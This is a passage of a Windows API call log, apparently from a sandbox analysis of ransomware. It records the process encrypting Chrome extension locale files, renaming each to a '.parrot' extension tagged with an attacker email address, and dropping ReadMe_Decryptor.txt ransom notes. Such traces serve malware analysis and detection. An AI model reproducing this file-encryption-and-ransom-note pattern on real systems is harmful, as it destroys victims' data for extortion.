hHeap=0x5b0000) returned 1 [0066.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0066.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0066.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0066.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0066.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0066.714] GetFileType (hFile=0x28c) returned 0x1 [0066.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0066.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.725] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb575e760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb575e760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.725] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb562dc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0066.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0066.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.725] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.725] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.725] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.725] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.725] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.726] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.734] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20b, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.734] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.734] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.735] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.736] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf3, lpOverlapped=0x0) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0066.736] GetLastError () returned 0x0 [0066.736] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0066.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0066.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0066.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0066.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0066.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0066.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0268 [0066.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x218) returned 0x615450 [0066.737] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0268 | out: hHeap=0x5b0000) returned 1 [0066.737] WriteFile (in: hFile=0x270, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x218, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x218, lpOverlapped=0x0) returned 1 [0066.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0066.738] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.738] CloseHandle (hObject=0x270) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d0268 [0066.739] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d03b0 [0066.739] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0268 | out: hHeap=0x5b0000) returned 1 [0066.739] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0066.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0066.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0066.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0066.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0066.744] GetFileType (hFile=0x270) returned 0x1 [0066.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0066.754] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.754] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb57aaa20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb57aaa20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.754] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb57aaa20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0066.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0066.754] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.755] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.755] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.755] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.755] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.755] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e74b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.755] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x218, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.755] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.755] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.756] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.756] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x100, lpOverlapped=0x0) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0066.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0066.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0066.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0066.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0066.756] GetLastError () returned 0x0 [0066.757] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03a0 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0066.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0066.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0066.757] WriteFile (in: hFile=0x270, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0066.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0066.758] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x218, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.758] CloseHandle (hObject=0x270) returned 1 [0066.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03a0 [0066.759] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d04e8 [0066.759] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0066.759] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0066.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0066.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0066.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0066.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0066.767] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0066.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0066.767] GetFileType (hFile=0x270) returned 0x1 [0066.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0066.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.778] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb57d0b80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb57d0b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.778] FindNextFileW (in: 